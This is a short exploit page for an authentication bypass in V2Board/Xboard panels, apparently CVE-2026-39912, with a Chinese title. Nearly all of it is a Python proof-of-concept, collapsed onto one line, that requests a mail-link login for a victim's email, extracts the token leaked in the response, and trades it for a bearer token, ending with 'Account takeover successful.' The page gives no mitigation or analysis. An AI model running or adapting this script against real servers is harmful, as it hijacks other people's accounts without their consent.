CVE-2026-39912 V2Board/Xboard身份认证绕过漏洞

import requests # Target configuration target_url = "http://target-domain.com" victim_email = "[email protected]" # Step 1: Get auth token via loginWithMailLink # Vulnerability: The token is returned directly in the response body endpoint_1 = f"{target_url}/api/v1/passport/auth/loginWithMailLink" payload = {"email": victim_email} try: response = requests.post(endpoint_1, json=payload) data = response.json() # Extract token based on typical response structure if 'data' in data and 'token_url' in data['data']: token_url = data['data']['token_url'] # Extract token parameter logic auth_token = token_url.split("token=")[-1] print(f"[+] Token obtained: {auth_token}") else: print("[-] Failed to retrieve token. Check response.") print(data) exit() # Step 2: Exchange token for Bearer Token endpoint_2 = f"{target_url}/api/v1/passport/auth/token2Login" token_payload = {"token": auth_token} session_resp = requests.post(endpoint_2, json=token_payload) session_data = session_resp.json() if 'data' in session_data and 'token' in session_data['data']: bearer_token = session_data['data']['token'] print(f"[+] Bearer Token obtained: {bearer_token}") print(f"[+] Account takeover successful.") else: print("[-] Failed to exchange token.") except Exception as e: print(f"Error: {e}")